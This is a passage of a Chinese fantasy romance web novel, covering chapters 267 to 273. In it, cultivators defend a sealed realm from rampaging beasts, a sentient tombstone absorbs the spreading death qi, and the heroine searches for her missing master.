她第一次见识到虚古境这么多异兽,在眼前暴动的恐怖。 方知,花不休他们承受着多大的压力。 远处灵塔又崩塌了一座,死气还在蔓延。 那些完好的灵塔和清化死气的大阵,现下对于这些失去理智的异兽来说,便显得格外难以忍受。 远方有不少异兽朝四处有目的性的奔跑,看样子目标就是那些剩余的灵塔。 虚古境的结界若是出了问题,后果不堪设想。 她如何看不出花不休眼底的那丝担心,难得乖乖认真道:“徒儿一定会保护好自己,师尊,您,小心。” 江献晚此时竟生出自己不够强大的无力,不能站在他们身侧与他们并肩。 “孽徒。” 望着孽徒嫌少流露出的无措可怜样,花不休轻轻摁了一下她的脑瓜。 低而轻的嗓音,是抚慰,亦是缱绻。 花不休转身之际,如疾速穿梭在夜色中的秃鹫,朝结界最薄弱的位置掠去。 云为泽神色挣扎的看了一眼江献晚,后者翻指成印,灵力没入结界,一同抵上异兽的狂暴冲撞。 不待他开口,轻声道:“你先去。” 抿了抿唇,不自在的含糊道:“我肯定会乖的。” 最后,犹觉不够。 “你要小心,我等你。” 云为泽放心不下她,她知道,可底下的邪灵若挣脱束缚,不仅虚古境岌岌可危,两境亦是沦陷。 他不能不去。 “嗯。” 云为泽说不出现在是怎样一种心情。 这种让他有了牵挂,和被牵挂的感觉,让他鼻翼泛酸。 短短几秒,耳根染上一层绯晕,强压心绪,声线柔软,轻轻应了声。 最后又看了看她,化作一道流光,朝中心灵塔位置飞去。 六宗高纷至而来,饶是历经无数血雨腥风,头皮仍忍不住发麻。 那些上一刻还翻着肚皮,岁月静好的异兽,此刻瞳孔目露凶光,身躯萦绕着薄薄的黑色死气。 冲撞中,不分敌我,又厮杀在一起,在看到更多活生生的修士出现,嘶吼着将结界撞的砰砰作响。 看向那雪衣银发的男子,难免有几分复杂。 虽贵为帝尊,人前百家仙门敬仰,身后,肩上的责任,不知比他们这些长老掌门重了多少倍。 帝隐立在江献晚身侧,结印的十指隐隐轻颤,身影却未曾晃动半分。 嗓音清冷,却莫名有种让六宗镇定的魔力。 “雾渺,你们且去中心。” 中心灵塔最为要紧,如今塌了两座,阵法化为乌有,仅凭四周残余的阵法,不足以压制邪物。 纵使云为泽,一人之力镇压,仍捉襟见肘。 “是。”雾渺当即颔首,迅速带领六宗高层前往虚古境中心。 紧随其后的六宗亲传,纷纷看了一眼那如明月霜雪的男子,亦是不再耽搁,朝各处灵塔位置疾掠而去。 此处有北帝尊阻拦虚古境半数异兽,他们必须要保全剩余灵塔。 没有人后退半步。 何未语也罢,秦秦也罢,一眼望去,皆是熟悉的面庞,转眼消失在夜幕。 他们享受着亲传待遇,自然要肩负起苍生之责。 生死不惧。 江献晚抵着巨大的冲力,面色发白,掐诀的手指都在不可控制的颤抖。 不敢想,帝隐分担了大半,仍纹丝不动,半步未曾后退。 帝隐忍不住微微侧目,银发垂坠如瀑,自肩头倾泄而下,垂至足踝。 清冷的眸迎上江献晚看来的目光,便多出一丝不露人前的紧张,阔袖一召,将神色慌张的龙鲤搁在她肩头。 薄唇翕和,再开口竟有些无措。 “晚晚。” 他不知该与她如何说。 虚古境已是强弩之末,兴许,他与云为泽和凤仪,也无法支撑太久。 其实早在厄弓丢失的那一刻,他们心中便清楚,就算即刻将厄弓寻回,虚古境这些东西也再难以长久压制。 曾经,他们三人合力,凭着厄弓,才得以封闭中州。 后来,也是修养闭关百年。 虚古境沉寂太久太久了,若是将希望全然给予于厄弓,他们愧对苍生。 既身处在这个位置上,便早有准备,却不想这天来的如此快。 今日倘若真到了无法控制的地步…… 帝隐双眸中划过一丝不舍的黯淡之色。 不敢与她说,他们打算以自身作为容器,解封虚古境。 对苍生来说,这是最好的结果。 倘若放在从前,他们不会有半分犹豫,本该如此。 现在,对他们三人来说,却成了最坏的打算。 他还未好好陪一陪晚晚,陪一陪行行。 但,在做这些事之前,他必须要先杀了林轻染,想办法抹去她背后的东西。 原以为两境三域乱开,对林轻染和她背后的东西并无半点好处,可这两个,显然是疯了。 若是无法杀,那便由他以神魂之力镇压。 如此,才不会使得两境三域有后顾之忧,他们也能放心的留下江献晚。 龙鲤伏在江献晚肩头,耷拉着鱼尾巴,难得有这么安静的时候。 主人现在将它放在晚晚身边,是要它尽力护着她,自个却…… 它猛地将脑袋扎进江献晚乌发中,头顶两只小角跟着一耸一耸。 江献晚纤细的指攥了又攥。 帝隐有时将自己的情绪隐藏的很好,却抵不住她了解眼前这个男人。 她神色微怔,回眸望向那些以血肉之躯,不知疼痛疲倦,不停撞击大阵光罩的异兽,缓缓低下睫帘。 帝隐抿了抿唇。 知她定然在想异兽说她可以净化死气的事,心中又是紧张,不知其味。 一面是为着苍生,一面是江献晚的安愉。 他甚至怕她有办法。 明明是这般血腥的扬面,明明心里在担忧,帝隐难免恍惚一瞬。 他眼眸深处有潋滟的光泽,逐渐蔓延到眼角,催的眼尾泛红。 晚晚,真的很厉害。 又控制不住加快语速,暖声急道:“你不要冒险,我们都在。” 若是要江献晚承受,他宁愿她想不出,凤仪与云为泽亦不会愿意看到这种事情发生。 江献晚掀开长睫,望进那双看似霜雪倾覆,实则再柔软不过的雪眸。 轻轻应了一声。 她静静的撑着阵,听着遥远处传来异兽攻击弟子的动静,睫毛忽然一动。 翻腕从袖间取出一块巴掌大小,破破烂烂的墓碑。 第 268 章 我吸 望着那巴掌大的墓碑,他微微失神,神魂竟有片刻的撕裂,仿佛万钧雷霆在灵魂的渊薮里炸开。 震得意识一片惨白,视野被一层猩红的膜儿覆盖。 “哈……” 一声带着血沫的低哑轻笑,在那片吞噬一切的终末之暗前,反而有种奇异的平静。 淌过时光的泥沙,千山万壑间亘古的岑寂,将他的灵魂深处犁开深深的焦痕。 冰冷非柔软。 “他们的命,只能由我定。” 视野中的星辰,一颗接一颗,如同被无形掐灭的烛火,转瞬即逝,只留下令人窒息的虚无背景。 帝隐掐诀的指尖,失控的颤抖起来,浑身骨骼在刺眼欲盲的惨白强光中断裂,露出森森白骨。 一时竟是疼痛,浑身细细发起抖来。 血腥混着困兽挣扎般的悲鸣的气音,从胸膛含糊不清的挤出。 “你……心里……” 他眼膜猩红倏尔隐去,江献晚在他身侧,语气突然暴躁起来,却一瞬将他从最浓稠的绝望里拉出,抚平他的疼痛。 “别他妈装死,快给我吸!” 帝隐:“……” 墓碑:“……” 她未能瞧见帝隐双眸一闪而逝的刺目猩红,和片刻的恍惚。 听着耳畔一阵阵聒人耳膜的嘶吼,半点耐心都没有。 在帝隐有些呆滞的可爱反应中,将手里的墓碑,扔破烂似的,狠狠摔在地上。 而后,一脚狠狠碾上去,顺便掏出一块百斤重的板砖。 “不吸老娘现在就碎了你!” 帝隐:“……”啊,晚晚好可爱。 墓碑:“……”草!疯狗都没她狗。 听听,这是人话吗? 没有心的死娘们,以前打架拿它砸,现在打架先砸它。 它千辛万苦跑下来,身体都特么被时空之力绞的残破不堪,为的是谁? 还不为了她这个狼心狗肺的虎娘们? 她倒好。 都特么混成这副熊样了,还是狗改不了吃屎! 原本以为她有了儿子,接受了这几个男人,还特么学会了撒娇,肯定也会温柔的对待可爱的它。 现在来看……它呵呵哒。 除非天道崩了。 墓碑想装死,反正她现在修为低若草芥,拿它没办法,最多以后等她想起来,挨一顿胖揍。 然,抵不住天生对这变态的娘们有着铭心刻骨的畏惧。 再说江献晚自个发现了它,也不算它毁约吧? 想了想,不服气的……闪了闪。 就是这一闪,两人都发现了。 帝隐定定的望着那块巴掌大的墓碑,视线再次恍惚起来,江献晚心中一动,俯身将它捞起。 果然是这破烂干的! ‘等等’也是被它砸坏的吧? 还害她被异兽追着屁股跑了那么多圈。 叔可忍,婶不能忍! 江献晚一股无名之火陡然而生,语气是从未有过的烦躁,“早说不就成了!” “来!吸一个!” 可她显然忘了,什么样子的主人,就有什么样子的墓碑。 江献晚冷血无情,跟特么行走的活阎王似的,收拾别人前,何时开过尊口,吐露半个字。 话都不给人说,上去就给人生死簿上的名划掉了。 墓碑在她的熏陶之下,极肖其主,看谁不顺眼,上去就是干。 有时还要江献晚哐哐狠砸两下,才能管束。 “哼。” 一声傲娇不屑的哼声,在此起彼伏的异兽嘶吼中,轻不可闻。 帝隐和江献晚却听的一清二楚,两人诧异的对视一眼。 这破烂玩意儿,还会哼? 竟是内有灵智? 帝隐却更惊讶于他看不透这墓碑半分。 若不是它主动开口,他也无法察觉出碑内有灵。 江献晚望向那道立于虚空,灵光环绕的模糊人影,那人,是云为泽。 生怕他做出什么以身为容器之事,心底的暴躁,被它这一哼,哼的一下压不住了。 她面色冷若凝霜,不言不语,单膝及地,将气焰看起来很是嚣张的墓碑摁在地上。 墓碑:“……”俺滴娘,这变态娘们被邪祟附体了吧? 该不是要对它行三跪九叩之礼? 想让它死,直接…… 哐——!哐——!哐——! 结结实实,用尽全力的三声! 江献晚手持板砖,无论是秾滟而冷漠的神情,还是不带半点情绪的声音,听的墓碑有种要上路的错觉。 一下子和从前重叠。 “不吸,我便先送你归西!” 这熟悉的小感觉! 墓碑一哆嗦,声音春风拂暖,忙不迭,“吸!我吸!我马上立刻现在就吸!” 帝隐:“……” 江献晚:“……” 它脑子是有什么治不了的大病吗? 合着喜欢这种粗暴的调调? “但死气太多,我吸不完。” 虚古境的死气有些特殊,曾被那邪物使坏,不知使得什么法子,催化过一般,极为凶煞。 对它的回答,江献晚摁着它,哐哐又是劈头盖脸的一顿砖伺候。 “吸不完我弄死你!” 这小玩意儿好像有受虐倾向,听不得半句好话。 能把‘等等’给拍碎了,可想是个不服管教的。 芥子囊的等等,忙趁机梨花带雨的告状:“对!它上来就把我砸碎了!” “晚晚,晚晚,人家好痛。” “要呼呼。” 墓碑:“……”我特么呼你一脸你信吗? 什么货色,敢让江献晚给它呼呼? 江献晚都没给它呼过! 墓碑气的直哆嗦,唾骂的声音抖成撕心裂肺的波浪线,“你这个又破又烂又丑还没用的小贱……” 哐——! 一声。 是江献晚又给了它一砖爱的教育。 “闭嘴!” 这墓碑嘴真臭,也不知道都特么跟谁学的! 墓碑:“……”特么。 它能跟谁学? 她自个就没点数吗! 要不要照照镜子! 它很有必要怀疑,回不去的那个,可能是它! 就为了一个没用,还不好看的破剑烂剑! 竟然这么对待跟她穿一条裤子的它! 它现在就要让江献晚看看,谁才该是被她呼呼的那个! 墓碑被江献晚用力一掷,朝结界擎出,帝隐指尖微动,打开一处缺口,两人配合,天衣无缝。 墓碑并未砸在地上,悠然飘至上空,得瑟而傲慢。 第 269 章 玩儿 将不服和怒气皆算在了这些异兽头上,猛地拍下。 一层狂暴而蕴含着无上杀戮的力量,朝阵中异兽骤然压下。 结界光罩咔嚓破碎,泛着淡淡金光的光晕,朝四面八方,便是呈圆形一荡。 江献晚都看懵了。 只一下。 正撞击结界的异兽,像吃了什么倒头就睡的迷魂药,聒噪的吼声一止,庞大的身躯应声倒地,掀起一片片厚重的尘土。 耳边……死寂。 随着那金色的光晕荡开,所到之处,远处异兽暴动的声音更是由近及远的消失。 很快,整个虚古境似乎陷入一种没有任何活物的凝滞和死寂。 而虚古境中心,云为泽玄色的大袖翩翩落,从空中俯瞰。 那些黏稠近乎凝固的死气,似要将内里的污浊暴露于天光之下,沉重的往上爬。 原本坚硬的地表,目之所及,隐隐起伏蠕动,向上拱起。 仿佛深处有反复挣扎扭曲、不成形态的淤泥黑影,即将打破薄薄的壁垒。 泥土空气弥漫着被强行翻搅后,混合着腐败内脏的腥臭气息,令人喉头发紧,胸腔窒息。 云为泽面色惨淡,唇角渗出血迹,修直有力的双指一寸寸拂过剑身,留下一痕在墨面拖曳出来的艳红血梅。 灵力再吐,剑意所及之处,蠕动的地表如遭火焚。 止了一息,便又是伴随着万根针刺掺在一起的凄厉嘶鸣,痛苦扭动、彼此撕咬,将地表浸出焦黑深陷的痕迹。 可以想象,光是这处的埋骨,便能直观这几百年岁月,有多少人魔妖葬送在此地。 他面色猝然一变,快走一步。 大地猛地又是一颤。 有幽深缝隙自下缓缓裂开的齿寒声,一下一下,不断敲击耳膜。 浓稠黑浊的死气,更贪婪的吞噬周遭的光线与活物,像是在庆祝即将要挣脱地脉牢笼的束缚。 云为泽紧咬牙关,咽下喉间血腥,足尖虚虚一踏,大袖翻飞。 正欲踏入阵中,以自身为阵眼,再…… 却发现。 整个世界倏尔一静? 那些将出的邪物,宛如被无形的恐怖力量……闷头重重一击,无数凄厉尖啸着的声音戛然而止。 随后,逃命般,涌动着,疯狂撕咬相互挤压着,往下死命回缩。 就好像……虚古境突然来了一个比它们还要可怕千倍百倍的东西。 云为泽属实没想到,将他逼的恨不得献上自个身躯的绝望困境,就这么忽然解了? 他神色古怪,瞅了一会儿。 唇角微微抽搐。 这些邪物像是……挨了一顿痛打,夹着尾巴,慌不择路四处嗷嗷奔逃的落水狗。 缩的比刚才爬的都快。 他下坠的身形,止于大阵之上。 四下环视,发现……异兽暴动的声音也没了。 这种情况,六宗也发现了。 他们布阵的忙活着布阵,驱赶兽潮的驱赶兽潮,那剑各个舞的冒星子。 白子夜灵笔都要抡冒烟了,防护法阵一个一个的开。 林玉锦和苏清流将他与身后的灵塔护的密不透分,三百六十度无死角,宛若飞蝶,围着他和灵塔打。 正是抛头颅洒热血,甘为苍生燃火星,发现…… 那呲牙咧嘴,对着他们各个张着血盆大口的异兽,眼一闭,麻溜地……睡了过去。 林玉锦:“我……勒个去?” 苏清流:“……” 这样的情况,发生在每一个小队伍和高层身上。 真的,就挺沉默的。 让人不知道说什么好。 他们都准备好为苍生,献出自个的肉体了,悲壮的心情刚到达顶点,对方竟然看不起人,招呼都不打,水灵灵的倒头就睡了? 抖的他们站不住的地,也不晃了? 这些玩意儿,不会是商量好的吧? 逗他们玩呢? 搁这遛狗呢? 能不能给点准备啊喂! 这样子搞得他们跟个傻子似的! 六宗心情起起又伏伏,站在原地,一整个沉默。 时云霄掐腰,在一群呼呼大睡的异兽跟前,仰天猖狂大笑,“哈哈哈哈哈!天不亡我时云霄!” “我时云霄要这天再遮不住我的眼,要这地再埋不了我的心!!!” 秦秦:“……时,时师兄,我这还有两瓶药。” 另一边,江献晚和帝隐被墓碑这一手骚操作给干沉默了。 帝隐:“……”他竟感受到了一股天道之息。 江献晚:“……”她觉得这个破烂墓碑真的很臭屁。 别说,别看人墓碑小,还破。 人家确实牛逼。 只一下,竟碎了她与帝隐二人合力支撑的结界? 强制将虚古境所有的异兽,给关了机? 牛逼哇。 在江献晚莫名的视线中,只见那些昏死的异兽,像是被什么磁铁强势黏上一般。 体内无数千丝万缕的黑色雾丝,被生生扯出,径直没入碑身。 墓碑表面有流丝纵横交错浮蔓,眨眼之间,将眼皮子下这些异兽体内的死气,吸的一干二净。 一鼓作气,凶狠的将周围的死气又吸了许多。 吸的头顶的繁星显露了出来,空气也清新了不少。 “嗝,吸不动了。” “还有那些邪物,我先将它们拍下去了。” 若不是它受到规则约束,力量削减十之九,若不是江献晚现在又这么弱,它能吸更多。 而且,它需要些时间将这些死气先转化为仙力。 还能充作…… 它看了一眼湖镜下,躺在巨大贝壳中,面容苍白的双生子,调取仙脉之力,在镜面形成一层薄而坚不可摧的膜儿。 浪归浪,不忘将双生子护的一层又一层。 对它来说,帝隐他们就是全死了,双生子也不容半点闪失。 否则,江献晚会疯的。 她做了那么多令天道震怒,无法容忍之事,又有何意义。 甘心变成这样一副陌生的样子,还与凤仪他们生出一缕情丝,又有何意义。 这些人都是她曾经看不到眼中,被视为累赘与麻烦的存在。 只是,不知双生子若哪天醒来,发现江献晚身边突然多出这么男人,还是他们曾经用命换不来的。 该是如何。 虎娘们记起,又会是如何。 不过,这都是她自找的。 它除了装着双生子,这种情情爱爱,可帮不上一点忙。 江献晚:“……” 不是。 它只一下……顺手将那些东西也拍下去了? 这么牛逼的吗? 难怪‘等等’都被它给干碎了。 若不是怕它臭屁,江献晚真的很想鼓两下掌。 第 270 章 你种 他抿了抿唇角,平静的别开视线,顺着江献晚的目光看向那只蓝色异鸟,雪袖微动,指尖灵力扯了它。 灵力丝线擦过,墓碑以为帝隐想来抓它,应激似的,一头扎向江献晚。 江献晚左手接鸟,右手接碑。 鸟落,手指稳如泰山。 碑落,手一沉,身子一歪,扑通一下趴在了地上。 墓碑:“……”现在的她,弱的,让碑睁不开眼。 江献晚:“……” 这玩意儿吃饱还能变重? 她捞了一下,没捞动,只好先放下蓝宝,双手将它拿起,细细察看。 “死气装你这里没问题吧?” 别再跑出来,造成更大的事故。 墓碑撑的直反胃,悠闲的躺在她手上打嗝,“嗝,有什么问题嗝,你总得给我个消化的时间吧。” “消化?”江献晚眼底浮出一抹诧异,“你可以消化它们?” 这功能,属实没想到。 “哼。” 那当然,跟着江献晚混,没点自个的技能,丟的可是江献晚的脸。 放在从前,它碎成八瓣也铁定哼都不敢哼的。 但看在它这么任劳任怨,为虎娘们献身的份上,哼一声,也没毛病吧? 江献晚眼眸深深,古怪的打量着它的碑身,“那地下的东西你能吸吗?” 这玩意儿这么牛逼,如果可以把虚古境的脏东西全都给吸了,再消化掉。 那她是不是很快就不用上这个二十四小时轮流在岗的破班了? 要是不能吸,种在虚古境,用链子拴起来,让它时不时整上几口,邪灵早晚还不给吸干巴了? 到时候收拾起来,岂不是跟杀小鸡崽似的,想怎么杀就怎么杀。 还能大大减轻他们六宗的负担,不用再起早贪黑,日夜不断的巡视。 邪灵只要敢不听话,或是再发生兽潮暴动,抄起墓碑,上去就是一下! 江献晚心中的小算盘打的噼里啪啦,看墓碑的眼神多出两分古怪的慈祥。 墓碑:“……” 你觉得你自己很慈祥是吗? 这是人能想出的事? 她竟然想把它种在地里拴起来当驴使?! 墓碑深感遇主不淑,恨不得趁她想不起从前之事,壮着胆子,照她脑袋上来一下。 真的,有时候真就挺想弑主的。 “行!你种!”它看了一眼碑内的双生子,无语到有些崩溃,“只要你以后别后悔就成。” 它就算是仙碑,长时间泡在这种污秽之地,能好吗? 更何况,它受法则约束,还有天道随时降临紧盯,全然插手凡间之事,天道还不追着它天打雷劈。 它皮糙肉厚,被小紫那个狗东西劈就劈了,天道一定不会放过这个机会,发泄虎娘们跟天道争命的不满。 万一伤到双生子怎么办? 她所有的努力和等待,付之东流,全白费。 到时候看哭的人会是谁。 等她记起来,想到自个竟想让双生子天天睡在邪祟窝里,恐怕睡觉都要坐起来,朝自个脸上扇两下。 然后……扇它一百下。 江献晚:“……” 别说,她还真生出,她今日敢把这破烂种在虚古境,来日可能还真的会后悔。 不言不语,垂下睫帘,指尖下意识轻柔的抚过碑身。 瞧着她忽然安静的模样,墓碑几许沉默,心下酸涩又是心疼。 它跟着江献晚,又不是不知她为了双生子做了多少疯事,等了多少个日日夜夜,很长一段时间,连句话都不肯再说。 她将双生子托付给它,它是日夜悬心吊胆,吃不好睡不好,操碎了一颗心,生怕出问题。 方才的话也就是说说而已,江献晚敢种……它就敢跑! 就是这片世界崩了,塌了,所有人全死绝了,它也记着她的话,照顾好双生子,而不是因为这些小事功亏一篑。 声音放软了些,含糊其辞。 “虚古境那些脏东西处理起来还需要一点点时间,还有那些异兽,只是暂时被我拍昏了,灵塔你们还是要再多搭几座。” “哦,灵脉最好多填点。” “填个百儿八十条。” 它自然也想重开中州。 这毕竟是双生子的地盘。 虎娘们现在不记得,它得替她操心。 等盖好了,填好了,它偷偷摸摸吞进来些,既可以防止那俩玩意儿再盗取灵力,还能让那些灵塔灵脉沾沾仙气。 双生子醒来在即,只待取回厄弓。 等她将所有的事情全部记起,肯定也会觉得它趁火打劫,为重建中州添砖添瓦的事儿,干的漂亮。 江献晚:“……”百八十条,它当拉屎呢,想拉多少拉多少。 干脆不理,转手将它递给帝隐,“你看看。” 只要死气不会泄露出去,什么都好说。 帝隐睫毛一颤,指尖从衣缘探出。 不料……接了个空。 墓碑被江献晚随手的举动都给震惊了,想也不想,嗖地一下,蹿出老远。 严词厉色。 冷声怒斥。 “放肆!” 帝隐:“……” 江献晚:“……” 它是不是有病,还是活够了? 同北帝尊说放肆? 不过,这墓碑,好像真的很强,强的超出这片大陆的样子。 江献晚眼底晦暗莫测,探究之色愈发浓烈。 帝隐眸色一动,眼中光影斑驳,一缕灵力霸道的缠上因情绪激动而气的直哆嗦的墓碑。 未曾想,灵力再次扑了空。 墓碑错身轻松避开,睥睨他,“别费劲了!你抓不住我!” 它今日若被他抓在手中,来日江献晚记起,翻脸无情,杀了帝隐。 定然也会撅烂了它,渣都不剩,挫骨扬灰。 况且,江献晚最恨人碰她自个的东西。 尤其双生子,简直是她的逆鳞,谁碰谁死。 第 271 章 墓碑 江献晚看的属实震惊,诧异这玩意儿连帝隐都没办法,卷了两下袖子,就想亲自收拾它。 背一沉,墓碑轻飘飘地落在她后背上。 “草……你大爷!” 后者袖子还没卷好,双腿一软,结结实实扑倒在草地上,差点被砸的吐血。 磨着牙,暴喝一声。 “滚下来!” 墓碑一哆嗦,麻溜地滚了下来。 忘了,它吃撑了,没控制好自己的力量,虎娘们现在弱的很。 江献晚反手抓过它,就地盘腿而坐,打量的神色多出十二分。 “你叫墓碑?” “……嗯。” 这丧气的名字,还不是因为她吗? 以前人魔妖管它叫界碑和小碑碑。 上天了,众仙管它叫仙碑。 后来装尸体装的多了,他们又管它叫墓碑。 “那个小老头是谁?” 墓碑心虚地闪了闪,“我跟他说好了不能说。” 江献晚半眯起眼睛,表情愈发不可捉摸,“为何不让他碰,我能碰?” 墓碑理直气壮,不带犹豫的,“因为我贱!” 它就是贱。 不仅贱,还痴迷江献晚! 遥想当年它被江献晚削成这样,削的直接生出了灵智,被栽在界域。 刚看到这个世界的第一眼,就被江献晚不可一世的狂妄给惊艳到了。 觉得这娘们干天干地干空气的疯狗样子真真是帅爆。 再说了,它本就因她而生,彻头彻尾属于她一人。 后来,在她飞升时,竟在情急之下,修出人形。 为界域留下一座碑身,紧跟她的脚步,誓要跟随她到天涯海角,就算是死。 最后,它与江献晚一起飞升了。 而它,身份一跃,成了仙碑。 再然后,等她杀了半个仙庭的神仙,就成了它刚才说的,众仙口中的墓碑…… 原来江献晚并不想要它,在它死缠烂打,被江献晚痛扁了九十九顿,在被众仙合力想将它种起来,当作仙界招牌。 那没心没肺的婆娘从天而降,一手拔出它,扇飞众仙家,顺手将仙庭上下整顿一遍。 它终于得偿所愿,如愿以偿,喜普大奔,献身给了江献晚,做了她的独一无二。 此后,主仆二人共生共死共拉屎,横扫仙界,跟天道作对。 遥想当年,这什么劳什子几位,还不是被他们两主仆拍的芳心碎成八瓣。 碎了黏,黏了碎。 哦,凤仪倒是个例外,没被虎娘们那般收拾过。 墓碑忍不住同情而怜悯的瞅了一眼帝隐,“我要睡一觉,消化它们。” 厄弓的事儿,等它醒了再同江献晚说,左右那俩玩意儿已是秋后的蚂蚱蹦跶不了几天。 对于它对帝隐表现出的异常反应,江献晚眉头微微一皱,果断先将它收回芥子囊。 她缓缓起身,看向轻轻垂着眼睑,不知在想什么的男人,忍不住踮脚,攀上他的肩颈。 厮磨着咬上他的唇肉,像是咬着一颗汁水丰沛的朱果,细细品鉴,眼底星星点点的笑意聚集。 “孩他爹,在想什么?” 帝隐乌睫轻颤,下意识贴心俯首,目光久久流连她的眉眼,眉心便舒展开,眼底薄薄的雾散去,清越的眸子几乎要滴出露珠。 只手轻扣了她的腰肢,耳尖一红,唇与她贴着,支支吾吾,“没,没什么。” 这墓碑古怪,轻易便碎了他的结界,怕极了晚晚,对他的态度又很是不喜。 他才发现,江献晚的过往,似乎没有一个人了解。 他们只知她曾经至始至终都是一个人。 可……她真的,只是单纯的,凡尘俗世的江献晚吗? 若不是,那她曾经…… 帝隐压下心头的兵荒马乱,强迫自己不要胡思乱想,轻轻启开的唇却是无措的有些僵硬。 江献晚欺近两步,将他压在树干上,用了点力度,在他唇瓣上咬了一下。 “真的……没什么?” 那眼圈分明慌的快要红了。 她湿漉漉的唇开合着,与他气息交融,尾音连勾带缠,帝隐呼吸微乱,哪里还顾得上想什么。 两只雪白的及地大袖,轻易将她全然纳入怀中,身体的本能,卷了她的舌尖。 含糊的声线,便染上不堪摧折,而又懊恼自己定力极差的细微颤音。 “晚晚……” 看到他顾不得分出一点神,再去想其他的可爱模样,江献晚忍不住轻笑出声,又轻轻咬了一下他的舌尖。 “那,现在在想什么?” 帝隐:“……” 一双长睫如薄翼翕和几下,动作便快心绪一步,自己都未反应过来。 二人位置调转,修长如玉的手压在她脑后,低喘着激烈卷了她舌,不肯放。 竟似从前体内沾染污秽之气,喉结攒动,失控的吞吃,延长这个极尽香艳的吻。 “想……这样对你。” 江献晚仰着雪白的颈子,被他吻的毫无还手之力,只能揪着他的衣襟,全盘接收他有些失控的索取,眼底笑意却是更甚。 看吧。 这不就哄好了。 她既然要了,便不会再丢下他。 墓碑:“……”默默瞅了一眼双生子。 那叫一个欲言又止,心生无力,痛心疾首。 好哇!你就跟他亲吧! 你就当着双生子的面使劲跟他亲! 虎娘们,你死定了! 你知不知道你自个死定了! 以后有你哭的时候。 墓碑看的一抽一抽的,想到她这段时间跟这几个男人做尽了流氓事,慌里慌张,将那扇珠光熠熠的巨大贝壳合上。 够了! 它都心疼双生子了! 帝隐难得被她这般任其索取的哄,松开她的唇瓣,已是眉眼含春,双颊晕红,步履飘然。 晚晚,不会丢下他。 第 272 章 等到你了 江献晚哄好人,虽有满腹疑问,也只能先放一放。 她将蓝宝搁在隐蔽些的树杈上,牵了他的手,眨眼道:“走了。” 异兽只是短暂的昏了过去,还会再醒来,死气被墓碑吃了不少,也并未彻底消失,六宗仍要留心,有的忙。 帝隐拢紧她的手,红着耳尖嗯了一声。 两人手拉手飞过重重树梢,踏过浓重夜色,直奔虚古境中心。 不过,想到什么,江献晚眉心紧紧蹙起,“我想去找我师尊。” 不知为何,她现在迫切的想见到花不休。 今晚这事儿与林轻染脱不了干系,她不知女主跟系统憋的什么坏水,是单纯想盗取灵塔灵力,还是想趁着虚古境大乱,达到某种目的。 不管哪种,都不会是好事。 她这会儿心中格外焦躁,似乎只有立刻站在花不休身旁,才能缓下心。 帝隐看出来她的不安,温声道:“我去寻云为泽。” 他同样有些急迫,想与云为泽商议,尽快先将林轻染**,想办法除去她身后的东西。 两人不用言明,便知对方心中想法,江献晚轻轻颔首,转脚朝花不休去的方向离开。 中途遇到一小波醒来的兽潮,江献晚举着锅从天而降。 “哐哐哐”接连几声,砸晕几只呲牙咧嘴,目露凶光的胖嘟嘟异鼠。 又用了两锅,将那半人多高的异鼠王砸晕。 何未语麻溜地甩出一根拿来拴灵兽的绳子,将其捆成粽子,擦了把汗,手臂软绵绵地圈上江献晚的肩。 “我们刚走到这里,就发现一些鼠鼠从地下钻了出来。” “没想到它们吃这么胖,竟然还能跑这么快。” 又有些受伤地道:“没良心的,竟然不认得我们这些一起嗑过瓜子,吃过水果的小伙伴了。” 江献晚上下看了一眼她,“没受伤吧?” “伤了。”何未语嘟起唇,在她陡然紧张的目光下,连忙笑着拧一把她腰间的软肉,“小心脏受伤了,江师妹要不要看看?” 江献晚:“……”怎么看?扒了衣服看吗?还是摸着胸看。 温温柔柔的何师姐,什么时候也学会油嘴滑舌,调戏人了。 见她气息不稳,灵力有 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 些透支,取出几瓶丹药,故作伤怀道:“看就不必了,我怕何师姐爱上我。” 何未语噗嗤一笑,轻轻捶了她一下,将回灵丹分给其他弟子。 江献晚看向裴长安和几个万古宗弟子,“林道友不在?” 裴长安表情一变,瞬间沉郁了几分,“走散了。” 不久前遇到一小片兽潮,他顾不得时时刻刻紧盯着林轻染,一不留神,人就没了。 江献晚眸光微暗。 走散? 恐怕是想做什么事,在裴长安眼皮子底下不方便,才偷着跑了。 “雾掌门最近心情不好?” 她刚说了三个字,就见向来唇角总含着暖人笑意的裴长安,脸色以翻书的速度,变得更加难看。 就好像吃了那什么粑粑似的。 何未语不动声色,递给她一个眼神:有大瓜!!! 至于什么大瓜,自然不好多问。 江献晚更是不会多问,单凭云为泽的形容,还有裴长安的反应,完全能确定,雾渺被迫跟林轻染来了个师徒恋。 她急着去寻花不休,跟何未语短暂交谈了几句,挥手离开。 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尖锐的痛感并未能阻止神智堕入无底的万丈深渊,他双目中最后一丝光彩急坠着涣散,宛如珍贵的琉璃玉器,支离破碎。 像是**控的木偶,僵硬的举步绕过古树。 青裳无声拂过植被,沾染斑驳血迹,在浅淡的月色下拖曳一抹艳极的流纹,转眼消失于林间。 林轻染一边装模作样抵挡着几头异兽的攻击,故意将面颊蹭出一点污痕,视线不停的急切四处张望。 直到一抹颀长的身影,自林间转出,闯入视线,直直朝她走来。 一剑逼退一头异兽,唇角浮出如愿以偿的弧度。 低声浅笑。 “等到你了。” “花、不、休。” 第 273 章 一缕天光 江献晚抿着唇,双足虚虚踏在如盖的树冠,隐隐约约,如莺啭一般的细碎声浪,飘转不定,穿林拂叶而来。 她在附近寻了几圈,未能寻到花不休,正是心中浮躁。 头也不回,大力捏紧的玉简反手甩出。 一击命中一道乌沉沉、从头顶不足三尺处疾掠来的庞大轮廓,任其笔直沉重的向下坠去。 五指一握,便握了一手温热的黏腻。 她定定的看了玉简几息,有些冷沉的视线,眺望过四周,点足几个起跳,来到河岸边屈身净手,将玉简上的血污一并洗去。 她给花不休的传音无人回应,花不休也未去寻帝隐与云为泽。 在与师兄和何师姐他们聊天的信道中,又询问了一群小伙伴,得到的回答都是,没看见。 明长老和其他五宗高层在一块,传回来的信息亦是如此。 更无人瞧见林轻染。 江献晚神色难掩慌乱。 她不确定花不休是不是遇到了北境其他两宗不熟悉的弟子,被绊住了脚,或是没有察觉玉简的信息波动。 胡乱安慰自己,花不休是什么人? 怎么可能会遇到处理不了的危险。 明知如此,那丝不安却止不住在心中扩大,催的她焦灼。 可虚古境这么大,她到底该去哪里寻找。 江献晚一言不发,瞧着那双冷白的手,瞳色在暗影与微光的交错中,折射出一点细碎的光斑。 她突然起身转脚。 